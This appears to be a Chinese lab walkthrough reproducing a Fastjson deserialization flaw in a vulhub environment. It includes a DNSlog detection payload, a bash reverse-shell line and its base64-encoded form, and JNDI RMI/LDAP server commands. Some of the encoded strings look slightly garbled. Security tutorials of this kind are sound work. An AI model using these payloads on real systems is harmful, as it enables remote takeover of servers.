FastJson漏洞复现

FastJson漏洞复现

FastJson漏洞复现

环境:vulhub/fastjson

Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。

它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。

漏洞发现

出现json格式的地方,就可能使用FastJsson

1.通过报错页面可以识别使用FastJsson

2.再通过DNSlog平台确认存在漏洞

打开DNSlog平台成临时子域名:http://dnslog.cn/

bp抓包,将请求体改为以下内容并发送,发现返回DNS地址

{

"@type":"java.net.Inet4Address",

"val":"qoxjdd.dnslog.cn"

}

FastJs0n-1.2.47(反序列化)

原理:

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响版本:

Fastjson1.2.48之前

这里直接利用工具jndi_tool(需要jdk8环境)

https://github.com/wyzxxz/jndi_tool

利用一:JNDI注入+RMI

JNDl(The Java Naming and Directory Interface,Java 命名和目录接口):一组在 Java 应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得可以用名称访问对象。

RMI:Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。

反弹shell语句为:

bash -i >& /dev/tcp/8.8.8.8/4444 0>&1

在java中需要对其进行base64编码(大括号内不能有空格):

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

使用工具生成payload,并开启9999端口的监听:

java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

把payload通过bp发送给靶机,注意必须更改为POST请求和Content-Type

攻击机开启端口监听,即可收到shell

利用二:JNDI注入+LDAP

LDAP是轻量级目录访问协议

基本用法不变,只是将jndi.HRMIServer改为jndi.HLDAPServer

java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

把payload通过bp发送给靶机,注意必须更改为POST请求和Content-Type

攻击机开启端口监听,即可收到shell

其他利用工具:

[]:https://github.com/mbechler/marshalsec

相关文章

条幅字体-条幅字体大全-商用字体免费下载
365bet备用投注网址

条幅字体-条幅字体大全-商用字体免费下载

📅 01-06 👁️ 497
2025年新飞冰箱与其他冰箱的全面对比测评,哪个更值得买?
ppt中如何制作简单动画(ppt 怎么制作动画)